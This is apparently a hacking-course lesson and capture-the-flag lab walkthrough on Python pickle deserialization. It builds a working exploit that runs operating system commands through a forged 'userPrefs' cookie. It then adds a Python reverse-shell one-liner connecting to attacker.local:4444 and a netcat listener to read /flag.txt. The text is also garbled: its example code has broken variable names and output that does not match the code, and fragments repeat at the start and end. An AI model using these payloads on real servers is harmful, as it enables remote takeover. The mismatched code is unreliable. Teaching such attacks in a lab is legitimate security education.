
Serialization is used in programming to transform objects into a format that can, for example, be saved to a disk or transferred over a network.

Here is an example (serialisoi.py) that uses the Python pickle library to serialize a car.

When the script is executed, it outputs the car serialized (as base64-encoded).

Here is another program (deserialisoi.py) that takes a (base64-encoded) serialized car as a parameter and outputs its details.

This is how serialization works. From an object in memory to a format that can be saved or transferred, and back.

Serialization poses a danger. What if the serialized object has been modified during transit, and it is no longer just a harmless car?

 of Python's pickle describes a function called during object deserialization: 

The original purpose of the function is to help decode an object properly. But the purpose we are interested in is executing arbitrary code on the server when the application takes the "car" for decoding!

Let's create a third script, hax.py, which builds an object for us with the 

 function defined. The return value of the function is a 

, where the first element is a function and the second element is another tuple that contains the parameters.

As a result, the application cannot decrypt the car (its value becomes None), but the application executes the attacker's code, which is 

 function allows you to conveniently execute operating system commands.

When an application tries to deserialize a serialized object that an attacker has been able to modify, it may be possible for the attacker to execute arbitrary code on the server. In the case of Python's pickle, the easiest way to carry out the attack is to serialize an object that has a 

 function defined, as pickle's deserialization process calls that function. Such functions that allow code execution through deserialization are commonly referred to as "gadgets".

Start the exercise at this point, and continue reading.

Do you like pickles? I find them metasploitably good.

Get root access to the server and read the flag from the file /flag.txt

In this lab, you can practice deserialization attacks against a Python application that uses unsafe serialization.

Deadly Pickles

When the language of the application is changed, the application always sets a new cookie "userPrefs" which contains something clearly base64-encoded. Let's take the value of the cookie, decode it, and save it to the file "userprefs.data".

Investigating a file. Python has a built-in module for examining pickle files. So, we can try to determine whether the file has been serialized with pickle as follows:

Create a Python code exploit.py that constructs a serialized object whose __reduce__ function executes the desired operating system command:

Then you just need to run the code and send the output as a cookie to the application.

The application crashes as expected because the UserPreferences object could not be parsed from the cookie. However, if we were to look at the application's log, we would notice that it says "PUM".

Start a netcat listener on port 4444. Next, run the following Python code on the target server that connects to the port and hands over control to the server.

 = verbose (tell when a connection is established)

And what about the Python code then? Handy script snippets for situations like this can be found, for example, in the 

 repository. Here is the Python code that you can use in the attack. The code works as follows:

Open a connection to the address attacker.local (your attacker machine) on TCP port 4444.

Open a shell (/bin/sh) and connect the shell's stdin, stdout, and stderr to a socket.

You can execute Python code snippets from the command line using "python -c <code>". So your code will be:

Run the code and send as the value of the UserPrefs cookie a serialized object containing a __reduce__ function that sends a connection (reverse shell) to your listener. If all goes well, you will receive a shell on your listener from which you can read the flag.

## What is serialization?

Serialization is used in programming to transform objects into a format that can, for example, be saved to a disk or transferred over a network.

Here is an example (serialisoi.py) that uses the Python pickle library to serialize a car.

```python
import pickle
from base64 import b64encode, b64decode

class Car(object):
    def __init__(self, character: str, model year: int):
        self.character = character
        self.yearmodel = Yearmodel

    def __str__(self):
        return f"{self.brand} VM {self.yearmodel}"

car = Car(make='Volvo', model year=1975)

print(car)

print(b64encode(pickle.dumps(auto)).decode('utf-8'))
```

When the script is executed, it outputs the car serialized (as base64-encoded).

```sh
python3 ./serialize.py
Volvo VM 1975
gASVPgAAAAAAAACMCF9fbWFpbl9flIwEQXV0b5STlCmBlH2UKIwGbWVya2tplIwFVm9sdm+UjAp2dW9zaW1hbGxplE23B3ViLg==
```

Here is another program (deserialisoi.py) that takes a (base64-encoded) serialized car as a parameter and outputs its details.

```python
import pickle
from base64 import b64decode
import sys

class Car(object):
    def __init__(self, character: str, model year: int):
        self.character = character
        self.yearmodel = Yearmodel
        
    def __str__(self):
        return f"{self.brand} VM {self.yearmodel}"

serialized = sys.argv[1]
auto = pickle.loads(b64decode(serialized))
print(car)
```

```sh
python3 deserialise.py gASVPgAAAAAAAACMCF9fbWFpbl9flIwEQXV0b5STlCmBlH2UKIwGbWVya2tplIwFVm9sdm+UjAp2dW9zaW1hbGxplE23B3ViLg==
Volvo VM 1975
```

This is how serialization works. From an object in memory to a format that can be saved or transferred, and back.

---

## \_\_reduce\_\_

Serialization poses a danger. What if the serialized object has been modified during transit, and it is no longer just a harmless car?

The [documentation](https://docs.python.org/3/library/pickle.html#object.__reduce__) of Python's pickle describes a function called during object deserialization: **\_\_reduce\_\_**.

![](sanity:image-898d7fd049068d89266a58837c8f93e56d779550-809x229-png)

The original purpose of the function is to help decode an object properly. But the purpose we are interested in is executing arbitrary code on the server when the application takes the "car" for decoding!

---

## Car bomb

Let's create a third script, hax.py, which builds an object for us with the **\_\_reduce\_\_** function defined. The return value of the function is a [tuple](https://www.w3schools.com/python/python_tuples.asp), where the first element is a function and the second element is another tuple that contains the parameters.

So in the example below, **\_\_reduce\_\_** returns the tuple **("print", ("PUM!",))**, which means that *the call to the ****print**** function with the parameter "PUM!"*.

```python
import pickle
from base64 import b64encode, b64decode
import os

class Car(object):
    def __init__(self, character: str, model year: int):
        self.character = character
        self.yearmodel = Yearmodel

    def __reduce__(self):
        return (print, ("PUM!",))

car = Car(make='Volvo', model year=1975)

print(b64encode(pickle.dumps(auto)).decode('utf-8'))
```

As a result, the application cannot decrypt the car (its value becomes None), but the application executes the attacker's code, which is **print("BOOM!")**.

```sh
python3 hax.py
gASVIwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAhlY2hvIFBVTZSFlFKULg==
python3 deserialise.py gASVIwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAhlY2hvIFBVTZSFlFKULg==
BOOM!
None
```

---

## os.system

**The os.system** function allows you to conveniently execute operating system commands.

```python
import pickle
from base64 import b64encode, b64decode
import os

class Auto(object):
    def __init__(self, character: str, model year: int):
        self.character = character
        self.yearmodel = Yearmodel

    def __reduce__(self):
        return (os.system, ("echo PUM",))

car = Car(make='Volvo', model year=1975)

print(b64encode(pickle.dumps(auto)).decode('utf-8'))
```

```sh
python3 hax.py
gASVIwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAhlY2hvIFBVTZSFlFKULg==
python3 deserialize.py "gASVIwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAhlY2hvIFBVTZSFlFKULg=="
PUMP
0
```

---

## Summary

When an application tries to deserialize a serialized object that an attacker has been able to modify, it may be possible for the attacker to execute arbitrary code on the server. In the case of Python's pickle, the easiest way to carry out the attack is to serialize an object that has a **\_\_reduce\_\_** function defined, as pickle's deserialization process calls that function. Such functions that allow code execution through deserialization are commonly referred to as "gadgets".

---

## Exercise

Start the exercise at this point, and continue reading.

@exercise 744091f3e77c

---

## Suspicious Cookie

When the language of the application is changed, the application always sets a new cookie "userPrefs" which contains something clearly base64-encoded. Let's take the value of the cookie, decode it, and save it to the file "userprefs.data".

```sh
echo 'gANjX19tYWluX18KVXNlclByZWZlcmVuY2VzCnEAKYFxAX1xAlgEAAAAbGFuZ3EDWAIAAABlbnEEc2Iu'|base64 -d > userprefs.data
```

Investigating a file. Python has a built-in module for examining pickle files. So, we can try to determine whether the file has been serialized with pickle as follows:

```sh
python3 -m pickletools userprefs.data
    0: \x80 PROTO 3
    2: c GLOBAL '__main__ UserPreferences'
   28: q BINPUT 0
   30: ) EMPTY_TUPLE
   31: \x81 NEWOBJ
   32: q BINPUT 1
   34: } EMPTY_DICT
   35: q BINPUT 2
   37: X BINUNICODE 'lang'
   46: q BINPUT 3
   48: X BINUNICODE 'en'
   55: q BINPUT 4
   57: s SETITEM
   58: b BUILD
   59: . STOP
highest protocol among opcodes = 2
```

Haa! Yes, it is.

---

## Attack

Create a Python code exploit.py that constructs a serialized object whose \_\_reduce\_\_ function executes the desired operating system command:

```python
import pickle
from base64 import b64encode
import os

command = '''
echo PUM
''''

class Exploit(object):
    def __reduce__(self):
        return (os.system, (command,))

e = Exploit()
print(b64encode(pickle.dumps(e)).decode('utf-8'))
```

Then you just need to run the code and send the output as a cookie to the application.

```sh
python3 exploit.py
gASVKAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwMcHJpbnQoJ1BVTScplIWUUpQu
```

@embed 05b2b2f79679

The application crashes as expected because the UserPreferences object could not be parsed from the cookie. However, if we were to look at the application's log, we would notice that it says "PUM".

---

## Reverse shell

Time to take control of the server.

Start a netcat listener on port 4444. Next, run the following Python code on the target server that connects to the port and hands over control to the server.

```sh
nc -lvnp 4444
listening is [any] 4444 ...
```

- **nc** = netcat
- **-l** = listen
- **-v** = verbose (tell when a connection is established)
- **-n** = Do not make unnecessary DNS queries
- **-p** = port

And what about the Python code then? Handy script snippets for situations like this can be found, for example, in the [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python) repository. Here is the Python code that you can use in the attack. The code works as follows:

- Open a connection to the address attacker.local (your attacker machine) on TCP port 4444.
- Open a shell (/bin/sh) and connect the shell's stdin, stdout, and stderr to a socket.

```python
import socket,os,pty;s=socket.socket();s.connect(("attacker.local",4444));[os.dup2(s.fileno(),fd) for fd in (0,1 ,2)];pty.spawn("/bin/sh")
```

You can execute Python code snippets from the command line using "python -c <code>". So your code will be:

```python
import pickle
from base64 import b64encode
import os

command = '''
python -c 'import socket,os,pty;s=socket.socket();s.connect(("attacker.local",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
''''

class Exploit(object):
    def __reduce__(self):
        return (os.system, (command,))

e = Exploit()
print(b64encode(pickle.dumps(e)).decode('utf-8'))
```

Run the code and send as the value of the UserPrefs cookie a serialized object containing a \_\_reduce\_\_ function that sends a connection (reverse shell) to your listener. If all goes well, you will receive a shell on your listener from which you can read the flag.

```sh
root@whlhxbyzok-student:~# nc -lvnp 4444
listening is [any] 4444 ...
connect to [10.0.1.108] from (UNKNOWN) [10.0.1.68] 55534
cat /flag.txt
eyJhbG...
```


What are deserialization attacks?

Serialization is an extremely easy and convenient way to get complex states saved on disk or transferred over the network. However, ease brings with it a dark side, dismantling a serialized object can be compared to dismantling a bomb. It has to be done just right or the consequences can be catastrophic.

Serialization is an extremely easy and convenient way to store complex states on disk or transfer them over the network. However, ease of use brings a downside, as unpacking a serialized object is comparable to defusing a bomb. It must be done exactly right, or the consequences can be catastrophic.

What are deserialization attacks?

What is serialization?

Learn to hack — start here